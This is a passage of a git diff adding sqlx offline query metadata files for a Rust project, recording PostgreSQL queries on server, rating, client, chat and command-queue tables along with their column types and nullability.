+ }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + true, + false, + false, + true, + true, + true, + true, + false, + false, + true, + true + ] + }, + "hash": "7a6b4eb7eefd541ecb0529783ac01c36b2e69902623f289bd3cc6bf73d2b0ce8" +} diff --git a/stacker/stacker/.sqlx/query-7b20cbd01cca0469b0f79cc72908846456587e9c1ad2a52fc5aa58bc989be5a1.json b/stacker/stacker/.sqlx/query-7b20cbd01cca0469b0f79cc72908846456587e9c1ad2a52fc5aa58bc989be5a1.json new file mode 100644 index 0000000..cfe99a8 --- /dev/null +++ b/stacker/stacker/.sqlx/query-7b20cbd01cca0469b0f79cc72908846456587e9c1ad2a52fc5aa58bc989be5a1.json @@ -0,0 +1,126 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE server\n SET\n srv_ip = $2,\n ssh_port = COALESCE($3, ssh_port),\n updated_at = NOW() at time zone 'utc'\n WHERE project_id = $1\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "region", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "zone", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "server", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "os", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "disk_type", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "srv_ip", + "type_info": "Varchar" + }, + { + "ordinal": 11, + "name": "ssh_user", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "ssh_port", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "vault_key_path", + "type_info": "Varchar" + }, + { + "ordinal": 14, + "name": "connection_mode", + "type_info": "Varchar" + }, + { + "ordinal": 15, + "name": "key_status", + "type_info": "Varchar" + }, + { + "ordinal": 16, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 17, + "name": "cloud_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + true, + false, + false, + true, + true, + true, + true, + false, + false, + true, + true + ] + }, + "hash": "7b20cbd01cca0469b0f79cc72908846456587e9c1ad2a52fc5aa58bc989be5a1" +} diff --git a/stacker/stacker/.sqlx/query-7c087b528df89eb0bf41a4e46bcc48ab4946535a96baf0f49996d79387a3791c.json b/stacker/stacker/.sqlx/query-7c087b528df89eb0bf41a4e46bcc48ab4946535a96baf0f49996d79387a3791c.json new file mode 100644 index 0000000..ed4a640 --- /dev/null +++ b/stacker/stacker/.sqlx/query-7c087b528df89eb0bf41a4e46bcc48ab4946535a96baf0f49996d79387a3791c.json @@ -0,0 +1,124 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM server\n WHERE project_id=$1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "region", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "zone", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "server", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "os", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "disk_type", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "srv_ip", + "type_info": "Varchar" + }, + { + "ordinal": 11, + "name": "ssh_user", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "ssh_port", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "vault_key_path", + "type_info": "Varchar" + }, + { + "ordinal": 14, + "name": "connection_mode", + "type_info": "Varchar" + }, + { + "ordinal": 15, + "name": "key_status", + "type_info": "Varchar" + }, + { + "ordinal": 16, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 17, + "name": "cloud_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + true, + false, + false, + true, + true, + true, + true, + false, + false, + true, + true + ] + }, + "hash": "7c087b528df89eb0bf41a4e46bcc48ab4946535a96baf0f49996d79387a3791c" +} diff --git a/stacker/stacker/.sqlx/query-7e50789875fbdf752993b3fabe6031811acea54e4d47bbad2950494e626b807c.json b/stacker/stacker/.sqlx/query-7e50789875fbdf752993b3fabe6031811acea54e4d47bbad2950494e626b807c.json new file mode 100644 index 0000000..f0fad73 --- /dev/null +++ b/stacker/stacker/.sqlx/query-7e50789875fbdf752993b3fabe6031811acea54e4d47bbad2950494e626b807c.json @@ -0,0 +1,53 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT id, user_id, project_id, messages, created_at, updated_at\n FROM chat_conversations\n WHERE user_id = $1 AND project_id = $2", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "messages", + "type_info": "Jsonb" + }, + { + "ordinal": 4, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 5, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text", + "Int4" + ] + }, + "nullable": [ + false, + false, + true, + false, + false, + false + ] + }, + "hash": "7e50789875fbdf752993b3fabe6031811acea54e4d47bbad2950494e626b807c" +} diff --git a/stacker/stacker/.sqlx/query-7e5e7d4fa4e56ca213dee602bf13ccbe9a3424d81d6db3534ba4a59967b63105.json b/stacker/stacker/.sqlx/query-7e5e7d4fa4e56ca213dee602bf13ccbe9a3424d81d6db3534ba4a59967b63105.json new file mode 100644 index 0000000..5c5653e --- /dev/null +++ b/stacker/stacker/.sqlx/query-7e5e7d4fa4e56ca213dee602bf13ccbe9a3424d81d6db3534ba4a59967b63105.json @@ -0,0 +1,139 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE server\n SET\n user_id=$2,\n project_id=$3,\n cloud_id=$4,\n region=$5,\n zone=$6,\n server=$7,\n os=$8,\n disk_type=$9,\n updated_at=NOW() at time zone 'utc',\n srv_ip=$10,\n ssh_user=$11,\n ssh_port=$12,\n vault_key_path=$13,\n connection_mode=$14,\n key_status=$15,\n name=$16\n WHERE id = $1\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "region", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "zone", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "server", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "os", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "disk_type", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "srv_ip", + "type_info": "Varchar" + }, + { + "ordinal": 11, + "name": "ssh_user", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "ssh_port", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "vault_key_path", + "type_info": "Varchar" + }, + { + "ordinal": 14, + "name": "connection_mode", + "type_info": "Varchar" + }, + { + "ordinal": 15, + "name": "key_status", + "type_info": "Varchar" + }, + { + "ordinal": 16, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 17, + "name": "cloud_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Int4", + "Int4", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Int4", + "Varchar", + "Varchar", + "Varchar", + "Varchar" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + true, + false, + false, + true, + true, + true, + true, + false, + false, + true, + true + ] + }, + "hash": "7e5e7d4fa4e56ca213dee602bf13ccbe9a3424d81d6db3534ba4a59967b63105" +} diff --git a/stacker/stacker/.sqlx/query-8038cec278228a04f83f4d67f8e2fd0382be589bf5d6dcde690b63f281160159.json b/stacker/stacker/.sqlx/query-8038cec278228a04f83f4d67f8e2fd0382be589bf5d6dcde690b63f281160159.json new file mode 100644 index 0000000..aafa449 --- /dev/null +++ b/stacker/stacker/.sqlx/query-8038cec278228a04f83f4d67f8e2fd0382be589bf5d6dcde690b63f281160159.json @@ -0,0 +1,15 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE client\n SET \n secret=$1,\n updated_at=NOW() at time zone 'utc'\n WHERE id = $2\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Varchar", + "Int4" + ] + }, + "nullable": [] + }, + "hash": "8038cec278228a04f83f4d67f8e2fd0382be589bf5d6dcde690b63f281160159" +} diff --git a/stacker/stacker/.sqlx/query-8218dc7f0a2d15d19391bdcde1dfe27d2ee90aa4598b17d90e5db82244ad6ff1.json b/stacker/stacker/.sqlx/query-8218dc7f0a2d15d19391bdcde1dfe27d2ee90aa4598b17d90e5db82244ad6ff1.json new file mode 100644 index 0000000..17b8891 --- /dev/null +++ b/stacker/stacker/.sqlx/query-8218dc7f0a2d15d19391bdcde1dfe27d2ee90aa4598b17d90e5db82244ad6ff1.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "\n DELETE FROM rating\n WHERE id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [] + }, + "hash": "8218dc7f0a2d15d19391bdcde1dfe27d2ee90aa4598b17d90e5db82244ad6ff1" +} diff --git a/stacker/stacker/.sqlx/query-82eb411b1d8f6f3bed3db367ea147fbcd0626347744c7f8de6dce25d6e9a1fe7.json b/stacker/stacker/.sqlx/query-82eb411b1d8f6f3bed3db367ea147fbcd0626347744c7f8de6dce25d6e9a1fe7.json new file mode 100644 index 0000000..d95a94c --- /dev/null +++ b/stacker/stacker/.sqlx/query-82eb411b1d8f6f3bed3db367ea147fbcd0626347744c7f8de6dce25d6e9a1fe7.json @@ -0,0 +1,46 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM user_agreement\n WHERE user_id=$1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "agrt_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 4, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false + ] + }, + "hash": "82eb411b1d8f6f3bed3db367ea147fbcd0626347744c7f8de6dce25d6e9a1fe7" +} diff --git a/stacker/stacker/.sqlx/query-836ec7786ee20369b6b49aa89587480579468a5cb4ecdf7b315920b5e0bd894c.json b/stacker/stacker/.sqlx/query-836ec7786ee20369b6b49aa89587480579468a5cb4ecdf7b315920b5e0bd894c.json new file mode 100644 index 0000000..6dabdee --- /dev/null +++ b/stacker/stacker/.sqlx/query-836ec7786ee20369b6b49aa89587480579468a5cb4ecdf7b315920b5e0bd894c.json @@ -0,0 +1,106 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT \n id,\n user_id,\n obj_id,\n category as \"category: _\",\n comment,\n hidden,\n rate,\n created_at,\n updated_at\n FROM rating\n WHERE user_id=$1\n AND obj_id=$2\n AND category=$3\n LIMIT 1", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "obj_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "category: _", + "type_info": { + "Custom": { + "name": "rate_category", + "kind": { + "Enum": [ + "application", + "cloud", + "project", + "deploymentSpeed", + "documentation", + "design", + "techSupport", + "price", + "memoryUsage" + ] + } + } + } + }, + { + "ordinal": 4, + "name": "comment", + "type_info": "Text" + }, + { + "ordinal": 5, + "name": "hidden", + "type_info": "Bool" + }, + { + "ordinal": 6, + "name": "rate", + "type_info": "Int4" + }, + { + "ordinal": 7, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 8, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text", + "Int4", + { + "Custom": { + "name": "rate_category", + "kind": { + "Enum": [ + "application", + "cloud", + "project", + "deploymentSpeed", + "documentation", + "design", + "techSupport", + "price", + "memoryUsage" + ] + } + } + } + ] + }, + "nullable": [ + false, + false, + false, + false, + true, + true, + true, + false, + false + ] + }, + "hash": "836ec7786ee20369b6b49aa89587480579468a5cb4ecdf7b315920b5e0bd894c" +} diff --git a/stacker/stacker/.sqlx/query-83cd9d573480c8a83e9e58f375653b4d76ec4c4dea338877ef5ba72fa49c28ad.json b/stacker/stacker/.sqlx/query-83cd9d573480c8a83e9e58f375653b4d76ec4c4dea338877ef5ba72fa49c28ad.json new file mode 100644 index 0000000..44d0fe6 --- /dev/null +++ b/stacker/stacker/.sqlx/query-83cd9d573480c8a83e9e58f375653b4d76ec4c4dea338877ef5ba72fa49c28ad.json @@ -0,0 +1,22 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n count(*) as found\n FROM client c \n WHERE c.secret = $1\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "found", + "type_info": "Int8" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + null + ] + }, + "hash": "83cd9d573480c8a83e9e58f375653b4d76ec4c4dea338877ef5ba72fa49c28ad" +} diff --git a/stacker/stacker/.sqlx/query-8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c.json b/stacker/stacker/.sqlx/query-8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c.json new file mode 100644 index 0000000..f85f5f1 --- /dev/null +++ b/stacker/stacker/.sqlx/query-8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE stack_template \n SET view_count = 100, deploy_count = 50\n WHERE id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c" +} diff --git a/stacker/stacker/.sqlx/query-8aafae4565e572dc36aef3bb3d7b82a392e59683b9dfa1c457974e8fa8b7d00f.json b/stacker/stacker/.sqlx/query-8aafae4565e572dc36aef3bb3d7b82a392e59683b9dfa1c457974e8fa8b7d00f.json new file mode 100644 index 0000000..6d69a7d --- /dev/null +++ b/stacker/stacker/.sqlx/query-8aafae4565e572dc36aef3bb3d7b82a392e59683b9dfa1c457974e8fa8b7d00f.json @@ -0,0 +1,22 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n count(*) as client_count\n FROM client c \n WHERE c.user_id = $1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "client_count", + "type_info": "Int8" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + null + ] + }, + "hash": "8aafae4565e572dc36aef3bb3d7b82a392e59683b9dfa1c457974e8fa8b7d00f" +} diff --git a/stacker/stacker/.sqlx/query-8bc673f6b9422bdc0e1f7b3aae61b851fb9d7b74a3ec519c9149f4948880d1be.json b/stacker/stacker/.sqlx/query-8bc673f6b9422bdc0e1f7b3aae61b851fb9d7b74a3ec519c9149f4948880d1be.json new file mode 100644 index 0000000..a2a4c77 --- /dev/null +++ b/stacker/stacker/.sqlx/query-8bc673f6b9422bdc0e1f7b3aae61b851fb9d7b74a3ec519c9149f4948880d1be.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "\n DELETE FROM project_app WHERE project_id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [] + }, + "hash": "8bc673f6b9422bdc0e1f7b3aae61b851fb9d7b74a3ec519c9149f4948880d1be" +} diff --git a/stacker/stacker/.sqlx/query-8cfb2d3a45ff6c5d1d51a98f6a37ba89da5a49c211c8627c314b8a32c92a62e1.json b/stacker/stacker/.sqlx/query-8cfb2d3a45ff6c5d1d51a98f6a37ba89da5a49c211c8627c314b8a32c92a62e1.json new file mode 100644 index 0000000..06c565c --- /dev/null +++ b/stacker/stacker/.sqlx/query-8cfb2d3a45ff6c5d1d51a98f6a37ba89da5a49c211c8627c314b8a32c92a62e1.json @@ -0,0 +1,124 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT * FROM server WHERE id=$1 LIMIT 1 ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "region", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "zone", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "server", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "os", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "disk_type", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "srv_ip", + "type_info": "Varchar" + }, + { + "ordinal": 11, + "name": "ssh_user", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "ssh_port", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "vault_key_path", + "type_info": "Varchar" + }, + { + "ordinal": 14, + "name": "connection_mode", + "type_info": "Varchar" + }, + { + "ordinal": 15, + "name": "key_status", + "type_info": "Varchar" + }, + { + "ordinal": 16, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 17, + "name": "cloud_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + true, + false, + false, + true, + true, + true, + true, + false, + false, + true, + true + ] + }, + "hash": "8cfb2d3a45ff6c5d1d51a98f6a37ba89da5a49c211c8627c314b8a32c92a62e1" +} diff --git a/stacker/stacker/.sqlx/query-8db13c16e29b4aecd87646859296790f3e5971d7a2bff2d32f2d92590ec3393d.json b/stacker/stacker/.sqlx/query-8db13c16e29b4aecd87646859296790f3e5971d7a2bff2d32f2d92590ec3393d.json new file mode 100644 index 0000000..dea9192 --- /dev/null +++ b/stacker/stacker/.sqlx/query-8db13c16e29b4aecd87646859296790f3e5971d7a2bff2d32f2d92590ec3393d.json @@ -0,0 +1,87 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT \n id,\n user_id,\n obj_id,\n category as \"category: _\",\n comment,\n hidden,\n rate,\n created_at,\n updated_at\n FROM rating\n WHERE id=$1\n LIMIT 1", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "obj_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "category: _", + "type_info": { + "Custom": { + "name": "rate_category", + "kind": { + "Enum": [ + "application", + "cloud", + "project", + "deploymentSpeed", + "documentation", + "design", + "techSupport", + "price", + "memoryUsage" + ] + } + } + } + }, + { + "ordinal": 4, + "name": "comment", + "type_info": "Text" + }, + { + "ordinal": 5, + "name": "hidden", + "type_info": "Bool" + }, + { + "ordinal": 6, + "name": "rate", + "type_info": "Int4" + }, + { + "ordinal": 7, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 8, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + true, + true, + true, + false, + false + ] + }, + "hash": "8db13c16e29b4aecd87646859296790f3e5971d7a2bff2d32f2d92590ec3393d" +} diff --git a/stacker/stacker/.sqlx/query-91966b9578edeb2303bbba93cfc756595265b21dd6f7a06a2f7a846d162b340c.json b/stacker/stacker/.sqlx/query-91966b9578edeb2303bbba93cfc756595265b21dd6f7a06a2f7a846d162b340c.json new file mode 100644 index 0000000..0146a6a --- /dev/null +++ b/stacker/stacker/.sqlx/query-91966b9578edeb2303bbba93cfc756595265b21dd6f7a06a2f7a846d162b340c.json @@ -0,0 +1,100 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT c.id, c.command_id, c.deployment_hash, c.type, c.status, c.priority,\n c.parameters, c.result, c.error, c.created_by, c.created_at, c.updated_at,\n c.timeout_seconds, c.metadata\n FROM commands c\n INNER JOIN command_queue q ON c.command_id = q.command_id\n WHERE q.deployment_hash = $1\n ORDER BY q.priority DESC, q.created_at ASC\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "command_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "type", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "priority", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "parameters", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "result", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "error", + "type_info": "Jsonb" + }, + { + "ordinal": 9, + "name": "created_by", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "timeout_seconds", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + true, + true, + true, + false, + false, + false, + true, + true + ] + }, + "hash": "91966b9578edeb2303bbba93cfc756595265b21dd6f7a06a2f7a846d162b340c" +} diff --git a/stacker/stacker/.sqlx/query-9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8.json b/stacker/stacker/.sqlx/query-9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8.json new file mode 100644 index 0000000..d1b5030 --- /dev/null +++ b/stacker/stacker/.sqlx/query-9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8.json @@ -0,0 +1,52 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT \n template_id,\n event_type,\n deployer_user_id,\n cloud_provider,\n occurred_at,\n metadata\n FROM marketplace_event\n WHERE template_id = $1 AND event_type = 'deploy'\n ORDER BY occurred_at DESC\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "template_id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "event_type", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployer_user_id", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "cloud_provider", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "occurred_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 5, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [ + false, + false, + true, + true, + true, + true + ] + }, + "hash": "9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8" +} diff --git a/stacker/stacker/.sqlx/query-954605527a3ca7b9d6cbf1fbc03dc00c95626c94f0f02cbc69336836f95ec45e.json b/stacker/stacker/.sqlx/query-954605527a3ca7b9d6cbf1fbc03dc00c95626c94f0f02cbc69336836f95ec45e.json new file mode 100644 index 0000000..e181206 --- /dev/null +++ b/stacker/stacker/.sqlx/query-954605527a3ca7b9d6cbf1fbc03dc00c95626c94f0f02cbc69336836f95ec45e.json @@ -0,0 +1,46 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT\n *\n FROM product\n WHERE obj_id = $1\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "obj_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "obj_type", + "type_info": "Text" + }, + { + "ordinal": 3, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 4, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false + ] + }, + "hash": "954605527a3ca7b9d6cbf1fbc03dc00c95626c94f0f02cbc69336836f95ec45e" +} diff --git a/stacker/stacker/.sqlx/query-9d821bd27d5202d2c3d49a2f148ff7f21bafde8c7c1306cc7efc976a9eae0071.json b/stacker/stacker/.sqlx/query-9d821bd27d5202d2c3d49a2f148ff7f21bafde8c7c1306cc7efc976a9eae0071.json new file mode 100644 index 0000000..8adc74c --- /dev/null +++ b/stacker/stacker/.sqlx/query-9d821bd27d5202d2c3d49a2f148ff7f21bafde8c7c1306cc7efc976a9eae0071.json @@ -0,0 +1,25 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO user_agreement (agrt_id, user_id, created_at, updated_at)\n VALUES ($1, $2, $3, $4)\n RETURNING id;\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Timestamptz", + "Timestamptz" + ] + }, + "nullable": [ + false + ] + }, + "hash": "9d821bd27d5202d2c3d49a2f148ff7f21bafde8c7c1306cc7efc976a9eae0071" +} diff --git a/stacker/stacker/.sqlx/query-9dc75c72351c3f0a7f2f13d1a638ff21ea671df07397a4f84fff3c2cb9bdec91.json b/stacker/stacker/.sqlx/query-9dc75c72351c3f0a7f2f13d1a638ff21ea671df07397a4f84fff3c2cb9bdec91.json new file mode 100644 index 0000000..589b788 --- /dev/null +++ b/stacker/stacker/.sqlx/query-9dc75c72351c3f0a7f2f13d1a638ff21ea671df07397a4f84fff3c2cb9bdec91.json @@ -0,0 +1,23 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT EXISTS(SELECT 1 FROM project_app WHERE project_id = $1 AND code = $2) as \"exists!\"\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "exists!", + "type_info": "Bool" + } + ], + "parameters": { + "Left": [ + "Int4", + "Text" + ] + }, + "nullable": [ + null + ] + }, + "hash": "9dc75c72351c3f0a7f2f13d1a638ff21ea671df07397a4f84fff3c2cb9bdec91" +} diff --git a/stacker/stacker/.sqlx/query-9e4f216c828c7d53547c33da062153f90eefabe5a252f86d5e8d1964785025c0.json b/stacker/stacker/.sqlx/query-9e4f216c828c7d53547c33da062153f90eefabe5a252f86d5e8d1964785025c0.json new file mode 100644 index 0000000..67d8c69 --- /dev/null +++ b/stacker/stacker/.sqlx/query-9e4f216c828c7d53547c33da062153f90eefabe5a252f86d5e8d1964785025c0.json @@ -0,0 +1,16 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO command_queue (command_id, deployment_hash, priority)\n VALUES ($1, $2, $3)\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Varchar", + "Varchar", + "Int4" + ] + }, + "nullable": [] + }, + "hash": "9e4f216c828c7d53547c33da062153f90eefabe5a252f86d5e8d1964785025c0" +} diff --git a/stacker/stacker/.sqlx/query-a0aeb1857bed3967f43b4d88d939af74e5fcec7b951cf1f28eef3d4ba9459717.json b/stacker/stacker/.sqlx/query-a0aeb1857bed3967f43b4d88d939af74e5fcec7b951cf1f28eef3d4ba9459717.json new file mode 100644 index 0000000..8f18555 --- /dev/null +++ b/stacker/stacker/.sqlx/query-a0aeb1857bed3967f43b4d88d939af74e5fcec7b951cf1f28eef3d4ba9459717.json @@ -0,0 +1,15 @@ +{ + "db_name": "PostgreSQL", + "query": "DELETE FROM chat_conversations WHERE user_id = $1 AND project_id = $2", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Text", + "Int4" + ] + }, + "nullable": [] + }, + "hash": "a0aeb1857bed3967f43b4d88d939af74e5fcec7b951cf1f28eef3d4ba9459717" +} diff --git a/stacker/stacker/.sqlx/query-a24f6ae41366cfc2480a7d7832b1f823cc91662394ec8025b7ef486b85374411.json b/stacker/stacker/.sqlx/query-a24f6ae41366cfc2480a7d7832b1f823cc91662394ec8025b7ef486b85374411.json new file mode 100644 index 0000000..cb40819 --- /dev/null +++ 